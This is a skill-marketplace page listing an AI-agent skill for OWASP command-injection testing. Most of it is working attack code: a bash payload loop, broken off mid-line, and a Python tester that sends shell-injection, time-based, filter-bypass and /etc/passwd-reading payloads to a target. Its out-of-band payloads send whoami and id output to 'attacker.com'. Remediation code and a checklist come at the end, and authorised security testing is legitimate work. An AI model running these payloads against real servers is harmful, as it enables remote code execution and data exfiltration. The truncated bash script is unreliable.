用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-12命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-12 |
| description | Testing for Command Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-12 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-12
Testing for Command Injection
Command Injection (OS Command Injection) occurs when an application passes unsafe user data to a system shell. Attackers can execute arbitrary operating system commands, potentially gaining full control of the server.
#!/bin/bash
TARGET="https://target.com/api/ping"
echo "[*] Testing for Command Injection..."
# Command injection payloads
PAYLOADS=(
"; id"
"| id"
"|| id"
"& id"
"&& id"
"\`id\`"
"\$(id)"
"; id #"
"| id #"
"%0Aid"
"127.0.0.1; id"
"127.0.0.1 | id"
"127.0.0.1 && id"
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(echo -n "$payload" | jq -sRr @uri)
response=$(curl -s "$TARGET?host=$encoded")
if echo | grep -q ;
#!/usr/bin/env python3
"""
Command Injection Vulnerability Tester
"""
import requests
import time
import socket
class CommandInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# Command injection payloads
PAYLOADS = {
'basic': [
# Semicolon
"; id",
";id",
"; id;",
# Pipe
"| id",
"|id",
# AND/OR
"&& id",
"|| id",
"& id",
# Backticks
"`id`",
# Command substitution
"$(id)",
# Newline
"%0aid",
"\nid",
"\r\nid",
],
'with_prefix': [
# Common input with injection
"127.0.0.1; id",
"127.0.0.1 | id",
"127.0.0.1 && id",
"127.0.0.1 || id",
"test.txt; id",
"test; id",
],
'blind_time': [
# Time-based payloads
"; sleep 5",
"| sleep 5",
"&& sleep 5",
"|| sleep 5",
"`sleep 5`",
"$(sleep 5)",
# Windows
"& ping -n 5 127.0.0.1",
"| ping -n 5 127.0.0.1",
],
'oob': [
# DNS exfiltration
"; nslookup attacker.com",
"| nslookup attacker.com",
"; curl http://attacker.com/$(whoami)",
"| wget http://attacker.com/$(id)",
],
'bypass': [
# Space bypass
";{id}",
";$IFS$9id",
";${IFS}id",
";\tid",
# Quotes bypass
"';id;'",
'";id;"',
# Encoded
"%3Bid", # ;id
"%7Cid", # |id
],
}
def test_basic_injection(self, param='host'):
"""Test basic command injection"""
print("\n[*] Testing basic command injection...")
for payload in self.PAYLOADS['basic'] + self.PAYLOADS['with_prefix']:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
# Check for command output
if 'uid=' in response.text and 'gid=' in response.text:
print(f"[VULN] Command Injection!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Command Injection',
'payload': payload,
'severity': 'Critical'
})
return True
# Check for whoami output
if 'www-data' in response.text or 'root' in response.text or \
'apache' in response.text or 'nginx' in response.text:
print(f"[VULN] Possible command injection!")
print(f" Payload: {payload}")
except Exception as e:
pass
return False
def test_blind_injection(self, param='host'):
"""Test blind/time-based command injection"""
print("\n[*] Testing blind command injection (time-based)...")
# Get baseline response time
start = time.time()
self.session.get(self.url, params={param: 'test'}, timeout=30)
baseline = time.time() - start
for payload in self.PAYLOADS['blind_time']:
try:
start = time.time()
self.session.get(
self.url,
params={param: payload},
timeout=30
)
elapsed = time.time() - start
# Check if response was delayed
if elapsed > baseline + 4:
print(f"[VULN] Blind Command Injection!")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s (baseline: {baseline:.2f}s)")
self.findings.append({
'type': 'Blind Command Injection (Time-based)',
'payload': payload,
'response_time': elapsed,
'severity': 'Critical'
})
return True
except requests.exceptions.Timeout:
print(f"[VULN] Blind Command Injection (timeout)!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Blind Command Injection',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_oob_injection(self, param='host', callback_server='YOUR-COLLABORATOR'):
"""Test out-of-band command injection"""
print("\n[*] Testing OOB command injection...")
oob_payloads = [
f"; nslookup {callback_server}",
f"| nslookup {callback_server}",
f"; curl http://{callback_server}/$(whoami)",
f"| wget http://{callback_server}",
f"`nslookup {callback_server}`",
]
for payload in oob_payloads:
try:
self.session.get(
self.url,
params={param: payload},
timeout=10
)
print(f" Sent OOB payload: {payload[:40]}")
except Exception as e:
pass
print(f" [INFO] Check {callback_server} for callbacks")
def test_bypass_techniques(self, param='host'):
"""Test filter bypass techniques"""
print("\n[*] Testing bypass techniques...")
for payload in self.PAYLOADS['bypass']:
try:
response = self.session.get(
self.url,
params={param: payload},
timeout=10
)
if 'uid=' in response.text:
print(f"[VULN] Bypass successful!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'Command Injection (Bypass)',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("COMMAND INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo command injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload']}")
def run_tests(self, param='host'):
"""Run all command injection tests"""
self.test_basic_injection(param)
self.test_blind_injection(param)
self.test_bypass_techniques(param)
# self.test_oob_injection(param) # Uncomment with valid callback
self.generate_report()
# Usage
tester = CommandInjectionTester("https://target.com/api/ping")
tester.run_tests()
# Command Chaining Operators
; cmd # Sequential execution
| cmd # Pipe output
|| cmd # Execute if previous fails
& cmd # Background execution
&& cmd # Execute if previous succeeds
\n cmd # Newline
# Command Substitution
`cmd`
$(cmd)
# Bypass Techniques (spaces)
{cmd,arg}
cmd$IFS$9arg
cmd${IFS}arg
cmd%09arg # Tab
cmd<arg # Redirect
# Bypass Techniques (filters)
c\at /etc/passwd
ca$()t /etc/passwd
ca$@t /etc/passwd
w'h'o'am'i
w"h"o"am"i
# Windows Payloads
& whoami
| whoami
&& whoami
|| whoami
%0Awhoami
| Tool | Purpose |
|---|---|
| Commix | Automated command injection |
| Burp Collaborator | OOB detection |
| Custom scripts | Targeted testing |
# Python - Use subprocess with list arguments
import subprocess
# VULNERABLE
os.system("ping " + user_input)
# SECURE - Use list to avoid shell interpretation
subprocess.run(["ping", "-c", "4", user_input],
shell=False,
capture_output=True)
# With input validation
import re
def safe_ping(host):
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
raise ValueError("Invalid hostname")
subprocess.run(["ping", "-c", "4", host], shell=False)
<?php
// PHP - Use escapeshellarg/escapeshellcmd
// VULNERABLE
system("ping " . $_GET['host']);
// SECURE
$host = escapeshellarg($_GET['host']);
system("ping -c 4 " . $host);
// Better - Validate input
if (preg_match('/^[a-zA-Z0-9.-]+$/', $_GET['host'])) {
$host = escapeshellarg($_GET['host']);
system("ping -c 4 " . $host);
}
?>
| Finding | CVSS | Severity |
|---|---|---|
| Direct command execution | 9.8 | Critical |
| Blind command injection | 9.8 | Critical |
| OOB command injection | 9.8 | Critical |
| CWE ID | Title |
|---|---|
| CWE-78 | Improper Neutralization of Special Elements used in an OS Command |
[ ] Shell operators tested
[ ] Time-based blind tested
[ ] OOB tested
[ ] Bypass techniques tested
[ ] Windows/Linux variants tested
[ ] Findings documented